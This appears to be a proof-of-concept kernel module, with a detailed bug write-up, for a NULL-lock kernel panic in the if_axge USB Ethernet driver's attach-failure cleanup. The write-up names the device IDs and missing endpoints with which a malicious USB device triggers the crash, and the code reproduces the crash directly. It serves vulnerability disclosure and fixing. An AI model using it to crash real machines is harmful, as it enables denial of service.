DF-5395 / axge_attach_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 | /* * DF-5395 PoC harness -- if_axge.c attach-failure DF-5334/DF-5384-class panic. * * Target: sys/bus/u4b/net/if_axge.c axge_attach() failure branches: * * 550: lockinit(&sc->sc_lock, device_get_nameunit(dev), 0, LK_CANRECURSE); * 552: iface_index = AXGE_IFACE_IDX; * 553: error = usbd_transfer_setup(uaa->device, &iface_index, * 554: sc->sc_xfer, axge_config, AXGE_N_TRANSFER, sc, &sc->sc_lock); * 555: if (error) { * 556: device_printf(dev, "allocating USB transfers failed\n"); * 557: goto detach; * 558: } * ... * 566: error = uether_ifattach(ue); * 567: if (error) { * 568: device_printf(dev, "could not attach interface\n"); * 569: goto detach; * 570: } * ... * 573: detach: * 574: axge_detach(dev); * 575: return (ENXIO); (failure) * * axge_detach() (if_axge.c:579-591) then runs, in order: * * 586: usbd_transfer_unsetup(sc->sc_xfer, AXGE_N_TRANSFER); * 587: uether_ifdetach(ue); * * but on the transfer-setup failure branch every ue field that * uether_ifdetach() needs is still ALL ZERO (they are assigned only at * if_axge.c:560-564, AFTER the failing usbd_transfer_setup()). * uether_ifdetach() (sys/bus/u4b/net/usb_ethernet.c:267-305): * * 273: usb_proc_drain(&ue->ue_tq); <- no-op, up_lock == NULL * 276: ifp = uether_getifp(ue); <- embedded arpcom ifnet, NEVER NULL * 278: if (ifp != NULL) { <- dead guard, always true * 281: UE_LOCK(ue); <- lockmgr(NULL, LK_EXCLUSIVE) * ==> Fatal trap 12, fault VA 0x0 * * The trigger is fully device-controlled: any USB device presenting one of * the 4 VID:PID pairs in axge_devs[] (ASIX AX88179 0b95:1790, AX88178A * 0b95:178a, D-Link DUB1312 2001:4a00, Sitecom LN032 0df6:062c) at config * index 0 / iface 0 but WITHOUT the bulk-in/out endpoints the driver's * axge_config[] requires makes usbd_transfer_setup() fail * (USB_ERR_NO_ENDPOINT / USB_ERR_NO_PIPE) at plug-in. * * On the second branch (uether_ifattach() error -- usb_proc_create() * ENOMEM only) ue->ue_lock is valid, so the flow runs further: * usb_callout_drain() on a never-usb_callout_init()ed watchdog and * ether_ifdetach() on a never-ether_ifattach()ed ifnet -> * ifindex2ifnet[0] nulling + global ifnet list corruption + double * devfs_clone_bitmap_put() of ue_unit. Same root cause, not * attacker-timed. * * This KLD replays axge_detach() verbatim on that exact post-failure state * using the production usbd_transfer_unsetup() and uether_ifdetach() * (exported by uether.ko). The only non-production code is the static * axge_attach()/axge_detach() plumbing itself (they are static in * if_axge.c, unreachable without a physical AX88179; the failure branch * reaches them through a plain goto). */ #include <sys/stdint.h> #include <sys/param.h> #include <sys/queue.h> #include <sys/types.h> #include <sys/systm.h> #include <sys/socket.h> #include <sys/kernel.h> #include <sys/bus.h> #include <sys/module.h> #include <sys/lock.h> #include <sys/condvar.h> #include <sys/sysctl.h> #include <sys/unistd.h> #include <sys/callout.h> #include <sys/malloc.h> #include <sys/caps.h> #include <net/if.h> #include <net/if_var.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_process.h> #include <bus/u4b/net/usb_ethernet.h> #include <bus/u4b/net/if_axgereg.h> static int axge_poc_modevent(module_t mod, int type, void *arg) { struct axge_softc *sc; switch (type) { case MOD_LOAD: kprintf("axge_poc: constructing post-'allocating USB " "transfers failed' state (if_axge.c:553-558)\n"); sc = kmalloc(sizeof(*sc), M_TEMP, M_WAITOK | M_ZERO); if (sc == NULL) return (ENOMEM); /* if_axge.c:550: the only softc initialisation before the * failing usbd_transfer_setup() at if_axge.c:553 */ lockinit(&sc->sc_lock, "axge_poc", 0, LK_CANRECURSE); kprintf("axge_poc: state check: ue_lock=%p ue_dev=%p " "ue_udev=%p ue_tq.up_lock=%p (all must be 0/NULL)\n", sc->sc_ue.ue_lock, (void *)sc->sc_ue.ue_dev, sc->sc_ue.ue_udev, sc->sc_ue.ue_tq.up_lock); kprintf("axge_poc: entering axge_detach() replay: " "usbd_transfer_unsetup() + uether_ifdetach() " "(if_axge.c:586-587)\n"); /* if_axge.c:586 -- production code, zeroed xfer array == branch-1 */ usbd_transfer_unsetup(sc->sc_xfer, AXGE_N_TRANSFER); /* if_axge.c:587 -> uether_ifdetach() -> UE_LOCK(ue) -> * lockmgr(NULL, LK_EXCLUSIVE) -> Fatal trap 12, VA 0x0 */ uether_ifdetach(&sc->sc_ue); kprintf("axge_poc: SURVIVED uether_ifdetach() (UNEXPECTED -- " "guard present?)\n"); lockuninit(&sc->sc_lock); kfree(sc, M_TEMP); return (0); default: return (0); } } static moduledata_t axge_poc_mod = { "axge_poc", axge_poc_modevent, NULL }; DECLARE_MODULE(axge_poc, axge_poc_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_DEPEND(axge_poc, uether, 1, 1, 1); |